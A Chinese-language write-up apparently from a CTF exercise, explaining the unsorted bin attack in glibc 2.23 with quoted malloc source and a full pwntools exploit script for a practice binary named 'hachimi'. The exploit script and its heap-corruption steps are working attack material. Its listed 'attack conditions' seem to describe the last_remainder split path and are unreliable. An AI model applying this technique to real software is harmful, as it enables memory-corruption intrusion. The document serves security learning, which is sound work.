unsortedbin attack在glibc 2.23中的利用与源码分析
字数 1707 2025-12-23 12:12:13
Unsorted Bin Attack 在 glibc 2.23 中的利用与源码分析
一、前置知识
1.1 Unsorted Bin 基本概念
Unsorted Bin 是 glibc 内存管理中的一个特殊双向链表,用于暂存刚被释放的 chunk。当程序申请内存时,分配器会优先在 Unsorted Bin 中查找合适的 chunk。
1.2 Unsorted Bin 遍历机制
glibc 在遍历 Unsorted Bin 时,会根据不同情况采取不同的处理策略:
情况一:单个 chunk 且满足分割条件
if (in_smallbin_range (nb) && // 请求大小在 small bin 范围内
bck == unsorted_chunks (av) && // unsorted bin 中只有一个 chunk
victim == av->last_remainder && // 当前 chunk 是 last remainder
(unsigned long) (size) > (unsigned long) (nb + MINSIZE)) // 大小足够分割
{
/* split and reattach remainder */
remainder_size = size - nb; // 计算剩余部分大小
remainder = chunk_at_offset (victim, nb); // 定位剩余块地址
// 更新 unsorted bin 链表
unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
av->last_remainder = remainder; // 更新 last remainder
remainder->bk = remainder->fd = unsorted_chunks (av); // 设置剩余块指针
// 设置 chunk 头部信息
set_head (victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size); // 设置 footer(如果启用)
void *p = chunk2mem (victim); // 返回用户数据指针
alloc_perturb (p, bytes); // 初始化内存
return p;
}
情况二:大小完全匹配
if (size == nb) { // 当前 chunk 大小完全匹配请求
set_inuse_bit_at_offset (victim, size); // 设置下一个块的 PREV_INUSE
if (av != &main_arena)
set_non_main_arena (victim); // 设置非主分配区标志
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
1.3 不合适 chunk 的处理
如果 Unsorted Bin 中的 chunk 不满足当前分配需求,会被转移到相应的 smallbin 或 largebin:
Small Bin 处理
if (__glibc_unlikely (in_smallbin_range (size))) {
victim_index = smallbin_index (size); // 计算 bin 索引
bck = bin_at (av, victim_index); // 获取 bin 头指针
fwd = bck->fd; // 获取 bin 第一个 chunk
}
Large Bin 处理
else {
victim_index = largebin_index (size); // 计算 large bin 组索引
bck = bin_at (av, victim_index);
fwd = bck->fd;
if (fwd != bck) { // 如果 bin 非空
size |= PREV_INUSE; // 设置 PREV_INUSE 位加速比较
// 按大小排序插入
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)) {
// 插入到最小位置
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
} else {
// 在链表中查找合适位置
while ((unsigned long) size < chunksize_nomask (fwd)) {
fwd = fwd->fd_nextsize;
}
// 插入操作...
}
}
}
二、Unsorted Bin Attack 原理
2.1 攻击核心机制
Unsorted Bin Attack 的核心在于利用 glibc 2.23 版本中安全检查的缺失。关键代码段:
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck; // bin 的 bk 指向 victim 的后一个块
bck->fd = unsorted_chunks (av); // 后一个块的 fd 指向 bin
关键变量说明:
victim: 当前正在被 malloc 考虑的 chunk 指针bck:victim->bk,即 victim 在 Unsorted Bin 链表中的前驱节点av: arena 指针,表示当前线程使用的内存分配区unsorted_chunks(av): 返回 unsorted bin 的头节点地址(&av->bins[0])
2.2 攻击条件
要成功利用 Unsorted Bin Attack,需要满足以下条件:
- 用户请求的是一个小块(≤512B)
- Unsorted Bin 中只有一个 chunk
- chunk 足够大,切掉所需部分后还能剩下至少 MINSIZE
- 该 chunk 正好是当前的 last_remainder
2.3 版本差异对比
glibc 2.23 版本的检查非常宽松:
- 缺少双向链表的完整性检查
- 只需要让 bk 指向一个合法的地址就能绕过检查
- 高版本增加了大量安全检查,使得攻击难度增加
三、实际漏洞利用分析
3.1 目标程序分析
保护机制
[*] '/home/ziran/Desktop/isc/hachimi'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
关键函数分析
初始化函数:
for (n9 = 0; n9 <= 9; ++n9) {
dword_202060[6 * n9 + 2] = 0; // 清空标志位
dword_202060[6 * n9 + 3] = 0;
}
mallopt(1, 0); // 禁用 fastbin
编辑函数中的漏洞:
read(0, *((void **)&heap.ptr + 3 * v1), *(&heap.size + 6 * v1));
*(_BYTE *)(*(&heap.size + 6 * v1) + *((_QWORD *)&heap.ptr + 3 * v1)) =
*(_BYTE *)(*((_QWORD *)&heap.ptr + 3 * v1) + *(&heap.size + 6 * v1)) & 0xFE;
该操作会清空 size 字段的最低比特位,可能修改 PREV_INUSE 标志。
3.2 利用思路
步骤一:信息泄露
- 通过菜单选项 5 泄露地址信息
- 计算 PIE 基址和目标地址
步骤二:堆布局
- 申请 5 个 0x78 大小的堆块:[0]、[1]、[2]、[3]、[4]
- 注意禁用 fastbin 后的释放策略
步骤三:构造漏洞
- 释放 chunk [0]
- 通过 edit 修改 [1] 覆写 [2] 的 presize 和标志位
- 清空 [2] 的 size 标志位
- 释放 [2],造成非预期合并(利用 glibc 2.23 检查宽松的特点)
步骤四:UAF 利用
- 利用合并后的堆块产生 UAF 漏洞
- 申请 0x78 大小切割堆块,使 fd 与可控指针重合
步骤五:Unsorted Bin Attack
- 修改 bk 指针指向目标地址
- 触发分配流程,实现任意地址写
3.3 利用代码示例
from pwn import *
context.log_level = 'debug'
io = process('./hachimi')
def cmd(choice):
io.recvuntil("5.Mambo Out!")
io.sendline(str(choice))
def add(size, content=b'aaaa'):
cmd(1)
io.recvuntil("Please Input Size:")
io.sendline(str(size))
io.recvuntil("Content of hachimi:")
io.send(content)
def delete(index):
cmd(2)
io.recvuntil("Please Input index:")
io.sendline(str(index))
def edit(index, content):
cmd(3)
io.recvuntil("Please Input index:")
io.sendline(str(index))
io.recvuntil("Change hachimi Content")
io.send(content)
def show(index):
cmd(4)
io.recvuntil("Please Input index:")
io.sendline(str(index))
# 泄露地址信息
cmd(5)
io.recvuntil("address:")
pie = int(io.recv(14), 16) - 0x202040
# 堆布局
add(0x78) #0
add(0x78) #1
add(0x78-0x20) #2
add(0x78) #3
add(0x78) #4
# 构造漏洞
delete(0)
payload = b'a'*0x70 + p64(0x100) # 修改 presize
edit(1, payload)
delete(2)
# 泄露 libc 地址
add(0x78) #0
add(0x78) #2
delete(2)
show(1)
io.recvuntil("content:\n")
libc = u64(io.recv(6).ljust(8, b'\x00'))
# Unsorted Bin Attack
payload = p64(libc) + p64(pie + 0x202048 - 0x10)
edit(1, payload)
add(0xe0-0x10) # 触发攻击
io.interactive()
四、关键要点总结
4.1 攻击成功的关键因素
- glibc 2.23 安全检查宽松:缺少完整的双向链表完整性验证
- 禁用 fastbin:迫使使用 unsorted bin 机制
- 精确的堆布局:控制 chunk 的合并和分割行为
- UAF 漏洞的巧妙利用:通过修改标志位制造非常规内存状态
4.2 防御措施
- 升级到更高版本的 glibc
- 增强堆内存管理的安全检查
- 使用现代的内存保护机制
4.3 学习价值
通过分析 glibc 2.23 中的 Unsorted Bin Attack,可以深入理解:
- 内存分配器的内部工作机制
- 不同版本 glibc 的安全特性演进
- 堆漏洞利用的基本原理和技巧
- 现代漏洞缓解技术的必要性
这种攻击方式虽然在现代系统中较难实现,但对于理解内存安全的基本原理具有重要价值。